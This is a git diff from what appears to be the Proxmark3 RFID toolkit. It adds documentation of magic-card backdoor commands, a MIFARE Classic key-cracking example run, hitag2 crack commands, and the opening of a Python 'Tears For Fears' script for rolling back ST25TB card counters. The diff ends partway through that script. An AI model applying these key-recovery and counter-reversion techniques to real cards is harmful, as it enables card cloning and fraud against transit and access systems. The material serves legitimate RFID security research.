"description": "help This help list List Hitag trace history selftest Perform self test view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "description": "help This help list List Hitag trace history test Perform self tests view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"notes": [ "notes": [
"lf hitag list --frame -> show frame delay times", "lf hitag list --frame -> show frame delay times",
"lf hitag list -1 -> use trace buffer" "lf hitag list -1 -> use trace buffer"
@ -9576,17 +9672,19 @@
], ],
"usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]" "usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]"
}, },
"lf hitag selftest": { "lf hitag reader": {
"command": "lf hitag selftest", "command": "lf hitag reader",
"description": "Perform selftest of Hitag crypto engine", "description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed",
"notes": [ "notes": [
"lf hitag selftest" "lf hitag reader",
"lf hitag reader -@ -> Continuous mode"
], ],
"offline": true, "offline": false,
"options": [ "options": [
"-h, --help This help" "-h, --help This help",
"-@ continuous reader mode"
], ],
"usage": "lf hitag selftest [-h]" "usage": "lf hitag reader [-h@]"
}, },
"lf hitag sim": { "lf hitag sim": {
"command": "lf hitag sim", "command": "lf hitag sim",
@ -9615,6 +9713,18 @@
], ],
"usage": "lf hitag sniff [-h]" "usage": "lf hitag sniff [-h]"
}, },
"lf hitag test": {
"command": "lf hitag test",
"description": "Perform self tests of Hitag crypto engine",
"notes": [
"lf hitag test"
],
"offline": true,
"options": [
"-h, --help This help"
],
"usage": "lf hitag test [-h]"
},
"lf hitag view": { "lf hitag view": {
"command": "lf hitag view", "command": "lf hitag view",
"description": "Print a HITAG dump file (bin/eml/json)", "description": "Print a HITAG dump file (bin/eml/json)",
@ -12622,8 +12732,8 @@
} }
}, },
"metadata": { "metadata": {
"commands_extracted": 729, "commands_extracted": 737,
"extracted_by": "PM3Help2JSON v1.00", "extracted_by": "PM3Help2JSON v1.00",
"extracted_on": "2024-04-22T14:35:02" "extracted_on": "2024-05-27T13:38:05"
} }
} }

View file

@ -137,6 +137,9 @@ Check column "offline" for their availability.
|`data diff `|Y |`Diff of input files` |`data diff `|Y |`Diff of input files`
|`data hexsamples `|N |`Dump big buffer as hex bytes` |`data hexsamples `|N |`Dump big buffer as hex bytes`
|`data samples `|N |`Get raw samples for graph window ( GraphBuffer )` |`data samples `|N |`Get raw samples for graph window ( GraphBuffer )`
|`data test_ss8 `|N |`Test the implementation of Buffer Save States (8-bit buffer)`
|`data test_ss32 `|N |`Test the implementation of Buffer Save States (32-bit buffer)`
|`data test_ss32s `|N |`Test the implementation of Buffer Save States (32-bit signed buffer)`
### emv ### emv
@ -221,6 +224,8 @@ Check column "offline" for their availability.
|`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag`
|`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b view `|Y |`Display content from tag dump file`
|`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b valid `|Y |`SRIX4 checksum test`
|`hf 14b calypso `|N |`Read contents of a Calypso card`
|`hf 14b mobib `|N |`Read contents of a Mobib card`
### hf 15 ### hf 15
@ -974,6 +979,7 @@ Check column "offline" for their availability.
|`lf em 4x70 auth `|N |`Authenticate EM4x70` |`lf em 4x70 auth `|N |`Authenticate EM4x70`
|`lf em 4x70 setpin `|N |`Write PIN` |`lf em 4x70 setpin `|N |`Write PIN`
|`lf em 4x70 setkey `|N |`Write key` |`lf em 4x70 setkey `|N |`Write key`
|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response`
|`lf em 4x70 recover `|Y |`Recover remaining key from partial key` |`lf em 4x70 recover `|Y |`Recover remaining key from partial key`
|`lf em 4x70 autorecover `|N |`Recover entire key from writable tag` |`lf em 4x70 autorecover `|N |`Recover entire key from writable tag`
@ -1041,7 +1047,8 @@ Check column "offline" for their availability.
|`lf hitag help `|Y |`This help` |`lf hitag help `|Y |`This help`
|`lf hitag list `|Y |`List Hitag trace history` |`lf hitag list `|Y |`List Hitag trace history`
|`lf hitag info `|N |`Hitag 2 tag information` |`lf hitag info `|N |`Hitag 2 tag information`
|`lf hitag selftest `|Y |`Perform self test` |`lf hitag reader `|N |`Act line an Hitag 2 reader`
|`lf hitag test `|Y |`Perform self tests`
|`lf hitag dump `|N |`Dump Hitag 2 tag` |`lf hitag dump `|N |`Dump Hitag 2 tag`
|`lf hitag read `|N |`Read Hitag memory` |`lf hitag read `|N |`Read Hitag memory`
|`lf hitag sniff `|N |`Eavesdrop Hitag communication` |`lf hitag sniff `|N |`Eavesdrop Hitag communication`
@ -1051,6 +1058,7 @@ Check column "offline" for their availability.
|`lf hitag eview `|N |`View emulator memory` |`lf hitag eview `|N |`View emulator memory`
|`lf hitag sim `|N |`Simulate Hitag transponder` |`lf hitag sim `|N |`Simulate Hitag transponder`
|`lf hitag cc `|N |`Hitag S: test all provided challenges` |`lf hitag cc `|N |`Hitag S: test all provided challenges`
|`lf hitag crack2 `|N |`Recover 2048bits of crypto stream`
|`lf hitag chk `|N |`Check keys` |`lf hitag chk `|N |`Check keys`
|`lf hitag lookup `|Y |`Uses authentication trace to check for key in dictionary file` |`lf hitag lookup `|Y |`Uses authentication trace to check for key in dictionary file`
|`lf hitag ta `|N |`Hitag 2: test all recorded authentications` |`lf hitag ta `|N |`Hitag 2: test all recorded authentications`

View file

@ -51,6 +51,7 @@ Useful docs:
* [ULtra](#ultra) * [ULtra](#ultra)
* [UL-5](#ul-5) * [UL-5](#ul-5)
* [UL, other chips](#ul-other-chips) * [UL, other chips](#ul-other-chips)
* [MIFARE Ultralight USCUID-UL](#mifare-ultralight-uscuid-ul)
* [NTAG](#ntag) * [NTAG](#ntag)
* [NTAG213 DirectWrite](#ntag213-directwrite) * [NTAG213 DirectWrite](#ntag213-directwrite)
* [NTAG21x](#ntag21x) * [NTAG21x](#ntag21x)
@ -823,7 +824,7 @@ hf 14a raw -s -c 90FD111100
^[Top](#top) ^[Top](#top)
TLDR: These magic cards have a 16 byte long configuration page, which usually starts with 0x85. TLDR: These magic cards have a 16 byte long configuration page, which usually starts with 0x85.
All of the known tags using this, except for Ultralight tags, are listed here. All of the known tags are using this, except for Ultralight tags, are listed here.
You cannot turn a Classic tag into an Ultralight and vice-versa! You cannot turn a Classic tag into an Ultralight and vice-versa!
@ -1142,8 +1143,6 @@ All commands are available before sealing. After the sealing acts as a Mifare Cl
* Magic wakeup: `40(7)`, `43` * Magic wakeup: `40(7)`, `43`
* Backdoor read main block: `30xx+crc` * Backdoor read main block: `30xx+crc`
* Backdoor write main block: `A0xx+crc`, `[16 bytes data]+crc` * Backdoor write main block: `A0xx+crc`, `[16 bytes data]+crc`
* Read hidden block: `38xx+crc`
* Write hidden block: `A8xx+crc`, `[16 bytes data]+crc`
* Read configuration: `E000+crc` * Read configuration: `E000+crc`
* Write configuration: `E100+crc` * Write configuration: `E100+crc`
* Example of the sealing, performed by Chinese copiers in raw commands: * Example of the sealing, performed by Chinese copiers in raw commands:
@ -1607,7 +1606,7 @@ hf 14a info
[+] Magic capabilities : Gen 2 / CUID [+] Magic capabilities : Gen 2 / CUID
``` ```
It seems so far that all MFUL DW have an ATS. It seems so far that all MFUL DW have an ATS response in factory configuration.
### Magic commands ### Magic commands
@ -1638,14 +1637,6 @@ Issue three regular MFU write commands in a row to write first three blocks.
* ATS: 0A78008102DBA0C119402AB5 * ATS: 0A78008102DBA0C119402AB5
* Anticol shortcut (CL1/3000): fails * Anticol shortcut (CL1/3000): fails
#### MIFARE Ultralight DirectWrite flavour 2
^[Top](#top)
* BCC: play blindly the block0 BCC0 and block2 BCC1 bytes, beware!
* ATS: 850000A00A000AB00000000000000000184D
* Anticol shortcut (CL1/3000): succeeds
### Proxmark3 commands ### Proxmark3 commands
^[Top](#top) ^[Top](#top)
@ -1977,6 +1968,186 @@ The manufacturer confirmed unpersonalized tags could be identified by first 3 by
UL-X, UL-Z - ? UL-X, UL-Z - ?
## MIFARE Ultralight USCUID-UL
^[Top](#top)
TLDR: These magic cards, like the MFC USCUIDs have a 16 byte long configuration page, comprised of 4 blocks of 4 bytes each. This usually starts with 0x85. All of the known tags use the same format config page.
The cards will respond to a RATS with the config page in the factory configuration.
As with the MFC USCUIDs, one cannot turn a Classic tag into an Ultralight and vice-versa!
### Characteristics
^[Top](#top)
* UID: 7 bytes
* ATQA: always read from hidden block `F6`
* SAK: always read from hidden block `F6`
* BCC: read from blocks 0-1 per Ultralight specification
* ATS: These respond to an ATS request with the config page in factory mode.
### Identify
^[Top](#top)
In factory config state:
```
hf 14a info
...
[=] -------------------------- ATS --------------------------
[!] ATS may be corrupted. Length of ATS (18 bytes incl. 2 Bytes CRC) doesn't match TL
[+] ATS: 85 00 85 A0 00 00 0A A5 00 04 04 02 01 00 0F 03 [ 07 00 ]
```
If config has been modified to not display config block as ATS response:
```
hf 14a raw -akb 7 40; hf 14a raw -k 43
OR (depending on the magic wakeup method set)
hf 14a raw -akb 7 20; hf 14a raw -k 23
THEN
hf 14a raw -c e100
[+] 85 00 85 A0 00 00 0A A5 00 04 04 02 01 00 0F 03 [ 07 00 ]
```
Possible tag wakeup mechanisms are:
* Gen1 Magic Wakeup
* Alt Magic Wakeup
### Magic commands
^[Top](#top)
* Magic wakeup (A: 00): `40(7)`, `43`
* Magic wakeup (B: 85): `20(7)`, `23`
* Backdoor read main and hidden block: `30xx+crc`
* Backdoor write main and hidden block: `A2xx[4 bytes data]+crc`
* Read configuration: `E050+crc`
* Write configuration: `E2[offset*4, 1b][data, 4b]+crc`
* **DANGER**
* Set memory and config to 00 `F000+crc`
* Set memory and config to FF `F100+crc`
* Set memory and config to 55 (no 0A response) `F600+crc`
### USCUID-UL configuration guide
^[Top](#top)
1. Configuration
```
0 1 2 3
850000A0 00000AC3 00040301 01000B03
^^ >> ??? Mystery ???
^^^^ >> Gen1a mode (works with bitflip)
^^ >> Magic wakeup command (00 for 40-43; 85 for 20-23)
^^ >> Config available using regular mode (ON: A0)
^^ >> Do not reply to 1B, making auth impossible
^^ >> Do not enforce OTP properties (ON: A0)
^^ >> Maximum memory configuration*
^^^^^^^^ ^^^^^^^^ >> Version info
* This isn't a customizable value - it's a preset. So far:
C3 = UL11
3C = UL21
00 = UL-C
A5 = NTAG 213
5A = NTAG 215
AA = NTAG 216
55 = Unknown IC w/ 238 pgs.
```
* Gen1a mode: Allow using custom wakeup commands, like real gen1a chip, to run backdoor commands, as well as some extras.
* Magic wakeup command: Use different wakeup commands for entering Gen1a mode. A) 00 - 40(7), 43; B) 85 - 20(7), 23.
* Config available using regular mode: If this option is turned on via A0, the tag will reply to RATS with the config block and the config block can be modified without doing a magic wakeup.
To write config:
You must send config info in E2 packets of 4 bytes each (format: `E2[offset*4, 1b][data, 4b]`), eg for a UL-11 tag:
```
hf 14a raw -sck E200850000A0; hf 14a raw -ck E20100000AC3; hf 14a raw -ck E20200040301; hf 14a raw -c E20301000B03
```
2. Hidden blocks
```
F0: 00000000
^^^^^^^^ >> Unknown, usually always 00
F1: 00000000
^^^^^^^^ >> Unknown, usually always 00
F2: 000000BD
^^^^^^ >> Unknown, usually always 00
^^ >> Unknown, usually always BD, possible tearing counter value?
F3: 000000BD
^^^^^^ >> Unknown, usually always 00
^^ >> Unknown, usually always BD, possible tearing counter value?
F4: 000000BD
^^^^^^ >> Unknown, usually always 00
^^ >> Unknown, usually always BD, possible tearing counter value?
F5: 00000000
^^^^^^^^ >> Unknown, usually always 00
F6: 44000400
^^^^ >> ATQA in byte reverse order. 4400 = ATQA of 0044
^^ >> Unknown, usually always set to 04. Changing this value also has something to do with the SAK value in the next byte
^^ >> SAK, if previous byte set to 04
F7: 88AF0000
^^ >> First byte of UID BCC calculation, for Ultralight family is always 88 per the datasheet
^^ >> Unknown, usually always AF.
^^^^ >> Unknown, usually always 00
F8 - FF: xxxxxxxx >> signature
```
To read / write hidden blocks:
A config block beginning with `7AFF` must be set to enable a `40:43` / `20:23` magic wakeup. From limited testing, the `20:23` magic wakeup is not guaranteed to work, however the `40:43` wakeup works 100% of the time.
You must send config info in A2 packets of 4 bytes each (format: `A2[offset*4, 1b][data, 4b]`), eg for a UL-11 tag:
```
hf 14a raw -akb 7 40; hf 14a raw -k 43; hf 14a raw -ck A2F2000000BD; hf 14a raw -ck A2F3000000BD; hf 14a raw -ck A2F4000000BD; hf 14a raw -ck A2F644000400; hf 14a raw -c A2F888AF0000
```
### Proxmark3 commands
^[Top](#top)
No implemented commands at time of writing
### libnfc commands
^[Top](#top)
No implemented commands at time of writing
### Variations
^[Top](#top)
| Factory configuration | Name |
| --- | --- |
| 850000A0 00000AC3 00040301 01000B03 | UL-11 |
| 850000A0 00000A3C 00040301 01000E03 | UL-21 |
| 850000A0 0A000A00 00000000 00000000 | UL-C |
| 850085A0 00000AA5 00040402 01000F03 | NTAG213 |
| 850000A0 00000A5A 00040402 01001103 | NTAG215 |
| 850000A0 00000AAA 00040402 01001303 | NTAG216 |
# DESFire # DESFire
^[Top](#top) ^[Top](#top)

View file

@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous | HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
| HF_14BSNIFF | 14b sniff - jacopo-j | HF_14BSNIFF | 14b sniff - jacopo-j
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser | HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
| HF_15SNIFF | 15693 simulator - lnv42 | HF_15SIM | 15693 simulator - lnv42
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal | HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins | HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins

View file

@ -59,7 +59,7 @@ typedef struct {
typedef struct { typedef struct {
int status; int status;
uint8_t data[48]; uint8_t data[256];
} PACKED lf_hitag_crack_response_t; } PACKED lf_hitag_crack_response_t;
//--------------------------------------------------------- //---------------------------------------------------------

View file

@ -588,6 +588,7 @@ typedef struct {
#define CMD_LF_HITAG_READER 0x0372 #define CMD_LF_HITAG_READER 0x0372
#define CMD_LF_HITAG2_WRITE 0x0377 #define CMD_LF_HITAG2_WRITE 0x0377
#define CMD_LF_HITAG2_CRACK 0x0378 #define CMD_LF_HITAG2_CRACK 0x0378
#define CMD_LF_HITAG2_CRACK_2 0x0379
// For HitagS // For HitagS
#define CMD_LF_HITAGS_TEST_TRACES 0x0367 #define CMD_LF_HITAGS_TEST_TRACES 0x0367

View file

@ -705,21 +705,28 @@ int main(int argc, char **argv) {
// show buidlog in case of error // show buidlog in case of error
// todo: only for device models // todo: only for device models
unsigned int build_errors = 0; unsigned int build_errors = 0;
unsigned int build_logs = 0; // unsigned int build_logs = 0;
cl_command_queue_properties queue_properties = 0; cl_command_queue_properties queue_properties = 0;
if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE; if (opencl_profiling) {
queue_properties = CL_QUEUE_PROFILING_ENABLE;
}
// setup, phase 1 // setup, phase 1
z = 0; // dolphin z = 0; // dolphin
for (w = 0; w < ocl_platform_cnt; w++) { for (w = 0; w < ocl_platform_cnt; w++) {
if (!cd_ctx[w].selected) continue; if (!cd_ctx[w].selected) {
continue;
}
for (q = 0; q < cd_ctx[w].device_cnt; q++) { for (q = 0; q < cd_ctx[w].device_cnt; q++) {
if (!cd_ctx[w].device[q].selected) continue;
if (!cd_ctx[w].device[q].selected) {
continue;
}
ctx.device_ids[z] = cd_ctx[w].device[q].device_id; ctx.device_ids[z] = cd_ctx[w].device[q].device_id;
@ -860,7 +867,7 @@ int main(int argc, char **argv) {
free(buffer); free(buffer);
build_logs++; // build_logs++;
#if DEBUGME == 0 #if DEBUGME == 0
continue; // todo: evaluate this, one or more can be broken, so continue continue; // todo: evaluate this, one or more can be broken, so continue
#endif #endif

View file

@ -109,7 +109,17 @@ def hitag2(state, length=48):
if __name__ == "__main__": if __name__ == "__main__":
import sys import sys
if len(sys.argv) == 4: if len(sys.argv) == 4:
key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16)
n = int(sys.argv[3])
for i in range(n):
nonce = random.randrange(2**32)
state = hitag2_init(key, uid, nonce)
print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff))
elif len(sys.argv) == 5:
key = int(sys.argv[1], 16) key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16) uid = int(sys.argv[2], 16)
n = int(sys.argv[3]) n = int(sys.argv[3])

View file

@ -130,3 +130,76 @@ Valid Key found: [ffffffffffff]
Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds
``` ```
[2024-07-11]
There is an odd case where we find multiple valid MIFARE Classic protocol commands with a valid ISO14443-A CRC when decrypting four bytes and are bruteforcing the last upper 16 bit of keyspace in phase 3.
The command has been updated to give a more informative text in order to help the user understanding and what to do next.
```
./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
```
When running you get the following full output
```
./mf_nonce_brute$ ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
Mifare classic nested auth key recovery
----------- information ------------------------
uid.................. fcf77b54
nt encrypted......... 1b456bdd
nt parity err........ 1110
nr encrypted......... 00f215b6
ar encrypted......... f9eb95e9
ar parity err........ 0011
at encrypted......... bf55d0b1
at parity err........ 0000
next encrypted cmd... AAD4126B
Bruteforce using 8 threads
----------- Phase 1 pre-processing ------------------------
Testing default keys using NESTED authentication...
----------- Phase 2 examine -------------------------------
Looking for the last bytes of the encrypted tagnonce
Target old MFC...
CMD enc( aad4126b )
dec( 302424cf ) <-- valid cmd
Key candidate [ ....37afcc2b ]
Key candidate [ a70d37afcc2b ]
execution time 0.47 sec
----------- Phase 3 validating ----------------------------
uid.................. fcf77b54
partial key.......... 37afcc2b
possible key......... a70d37afcc2b
nt enc............... 1b456bdd
nr enc............... 00f215b6
next encrypted cmd... AAD4126B
Looking for the upper 16 bits of the key
enc: AAD4126B
dec: 610BFEDC
Valid Key found [ 7c2337afcc2b ]
enc: AAD4126B
dec: 302424CF
Valid Key found [ a70d37afcc2b ] - matches candidate
Odd case but we found 2 possible keys
You need to test all of them manually, start with the one matching the candidate
```

View file

@ -560,9 +560,9 @@ static void *brute_thread(void *arguments) {
pthread_mutex_unlock(&print_lock); pthread_mutex_unlock(&print_lock);
free(revstate); free(revstate);
continue; continue;
} else {
printf("<-- " _GREEN_("valid cmd") "\n");
} }
printf("<-- " _GREEN_("valid cmd") "\n");
} }
lfsr_rollback_word(revstate, 0, 0); lfsr_rollback_word(revstate, 0, 0);
@ -591,20 +591,16 @@ static void *brute_thread(void *arguments) {
return NULL; return NULL;
} }
// Bruteforce the upper 16 bits of the key
static void *brute_key_thread(void *arguments) { static void *brute_key_thread(void *arguments) {
struct thread_key_args *args = (struct thread_key_args *) arguments; struct thread_key_args *args = (struct thread_key_args *) arguments;
uint64_t key;
uint8_t local_enc[args->enc_len]; uint8_t local_enc[args->enc_len];
memcpy(local_enc, args->enc, args->enc_len); memcpy(local_enc, args->enc, args->enc_len);
for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) { for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) {
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) { uint64_t key = args->part_key | (count << 32);
break;
}
key = args->part_key | (count << 32);
// Init cipher with key // Init cipher with key
struct Crypto1State *pcs = crypto1_create(key); struct Crypto1State *pcs = crypto1_create(key);
@ -628,15 +624,20 @@ static void *brute_key_thread(void *arguments) {
continue; continue;
} }
__sync_fetch_and_add(&global_found, 1); __sync_fetch_and_add(&global_found_candidate, 1);
// lock this section to avoid interlacing prints from different threats // lock this section to avoid interlacing prints from different threats
pthread_mutex_lock(&print_lock); pthread_mutex_lock(&print_lock);
printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0)); printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0));
printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0)); printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0));
if (key == global_candidate_key) {
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ] - " _YELLOW_("matches candidate") "\n\n", key);
} else {
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key); printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key);
}
pthread_mutex_unlock(&print_lock); pthread_mutex_unlock(&print_lock);
break;
} }
free(args); free(args);
return NULL; return NULL;
@ -792,17 +793,17 @@ int main(int argc, const char *argv[]) {
} }
if (enc_len < 4) { if (enc_len < 4) {
printf("Too few next cmd bytes, skipping phase 2\n"); printf("Too few next cmd bytes, skipping phase 3\n\n");
goto out; goto out;
} }
// reset thread signals // reset thread signals
global_found = 0;
global_found_candidate = 0; global_found_candidate = 0;
printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n"); printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n");
printf("uid.................. %08x\n", uid); printf("uid.................. %08x\n", uid);
printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF)); printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF));
printf("possible key......... %012" PRIx64 "\n", global_candidate_key);
printf("nt enc............... %08x\n", nt_enc); printf("nt enc............... %08x\n", nt_enc);
printf("nr enc............... %08x\n", nr_enc); printf("nr enc............... %08x\n", nr_enc);
printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0)); printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0));
@ -828,8 +829,15 @@ int main(int argc, const char *argv[]) {
pthread_join(threads[i], NULL); pthread_join(threads[i], NULL);
} }
if (!global_found && !global_found_candidate) {
printf("\nfailed to find a key\n\n"); if (global_found_candidate > 1) {
printf("Key recovery ( " _GREEN_("ok") " )\n");
printf("Found " _GREEN_("%d") " possible keys\n", global_found_candidate);
printf(_YELLOW_("You need to test them manually, start with the one matching the candidate\n\n"));
} else if (global_found_candidate == 1) {
printf("Key recovery ( " _GREEN_("ok") " )\n\n");
} else {
printf("Key recovery ( " _RED_("fail") " )\n\n");
} }
out: out:

View file

@ -222,6 +222,8 @@ static void *brute_thread(void *arguments) {
//make_key_borland_n(i, key, keylen); //make_key_borland_n(i, key, keylen);
uint8_t iv[keylen << 1]; uint8_t iv[keylen << 1];
memset(iv, 0, sizeof(iv));
uint8_t dec_tag[16] = {0x00}; uint8_t dec_tag[16] = {0x00};
uint8_t dec_rdr[32] = {0x00}; uint8_t dec_rdr[32] = {0x00};

View file

@ -166,7 +166,7 @@ static void pm3_staticnested(uint32_t uid, uint32_t nt1, uint32_t ks1, uint32_t
for (uint32_t k = 0; k < keycnt; k++) { for (uint32_t k = 0; k < keycnt; k++) {
uint64_t key64 = 0; uint64_t key64 = 0;
crypto1_get_lfsr(statelists[0].head.slhead + k, &key64); crypto1_get_lfsr(statelists[0].head.slhead + k, &key64);
printf("[ %d ] " _GREEN_("%012" PRIx64) "\n", k + 1, key64); printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, key64);
} }
} }
} }
@ -222,7 +222,7 @@ int main(int argc, char *const argv[]) {
if (key_count) { if (key_count) {
printf("Ultra Static nested --> Found " _YELLOW_("%u") " key candidates\n", key_count); printf("Ultra Static nested --> Found " _YELLOW_("%u") " key candidates\n", key_count);
for (uint32_t k = 0; k < key_count; k++) { for (uint32_t k = 0; k < key_count; k++) {
printf("[ %d ] " _GREEN_("%012" PRIx64) "\n", k + 1, keys[k]); printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, keys[k]);
} }
} }

View file

@ -0,0 +1,553 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#+---------------------------------------------------------------------------+
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
#+---------------------------------------------------------------------------+
#| Copyright (C) Pierre Granier - 2024 |
#| |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#
# Ref:
# https://gitlab.com/SiliconOtter/tears4fears
#
import argparse
from queue import Queue, Empty
import re
from subprocess import Popen, PIPE
from time import sleep
from threading import Thread
PM3_SUBPROC = None
PM3_SUBPROC_QUEUE = None
class colors:
reset = '\033[0m'
bold = '\033[01m'
disable = '\033[02m'
underline = '\033[04m'
reverse = '\033[07m'
strikethrough = '\033[09m'
invisible = '\033[08m'
purple = '\033[35m'
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
lightred = '\033[91m'
lightgreen = '\033[92m'
lightblue = '\033[94m'
def main():
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
parser = argparse.ArgumentParser()
parser.add_argument("-s",
"--strat",
type=int,
nargs="?",
const="1",
default="1",
dest="strategy",
help="Strategy to use (default 1)")
parser.add_argument("-b",
"--block",
type=int,
nargs="?",
const="-1",
default="-1",
required=True,
dest="target_block",
help="Target Block")
parser.add_argument("-p",
"--pm3-client",
type=str,
default="pm3",
dest="pm3_path",
help="pm3 client path")
args = parser.parse_args()
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
PM3_SUBPROC_QUEUE = Queue()
thread = Thread(target=enqueue_output,
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
thread.start()
if args.target_block != -1:
tear_for_fears(args.target_block, args.strategy)
else:
parser.error("--block is required ")
sub_com('exit')
thread.join()
def enqueue_output(out, queue):
"""Continuously read PM3 client stdout and fill a global queue
Args:
out: stdout of PM3 client
queue: where to push "out" content
"""
for line in iter(out.readline, b""):
queue.put(line)
out.close()
def sub_com(command, func=None, sleep_over=0):
"""Send command to aPM3 client
Args:
command: String of the command to send
func: hook for a parsing function on the pm3 command end
Returns:
result of the hooked function if any
"""
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
result = None
sleep(sleep_over)
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
if func:
while not result:
try:
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
except Empty:
PM3_SUBPROC.stdin.write(bytes(
(command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
return result
def set_space(space):
"""Placeholder for instrumentalization or do it manually
Args:
space: distance needed
Returns:
"""
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
def parse_rdbl(str_to_parse):
"""Return a list of str of a block from pm3 output
Uses `rbdl` in pm3 client
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
if tmp:
# print(tmp)
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
return None
def parse_UID(str_to_parse):
"""Return a card UID from pm3 output
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
if tmp:
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
return None
def slist_to_int(list_source):
"""Return the int value associated to a bloc list of string
Args:
list_source: list to convert
Returns:
represented int
"""
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
def int_to_slist(src):
"""Return the list of string from the int value associated to a block
Args:
src: int to convert
Returns:
list of string
"""
list_dest = list()
for i in range(4):
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
return list_dest
def ponderated_read(b_num, repeat_read, sleep_over):
"""read a few times a block and give a pondered dictionary
Args:
b_num: block number to read
Returns:
dictionary (key: int, value: number of occurrences)
"""
weight_r = dict()
for _ in range(repeat_read):
# sleep_over=0 favorize read at 0
# (and allow early discovery of weak bits)
result = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}",
parse_rdbl,
sleep_over=sleep_over))
if result in weight_r:
weight_r[result] += 1
else:
weight_r[result] = 1
return weight_r
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
"""
Args:
b_num: block number
stop: last tearing timing
"""
# Sending RAW writes because `wrbl` spend additionnal time checking success
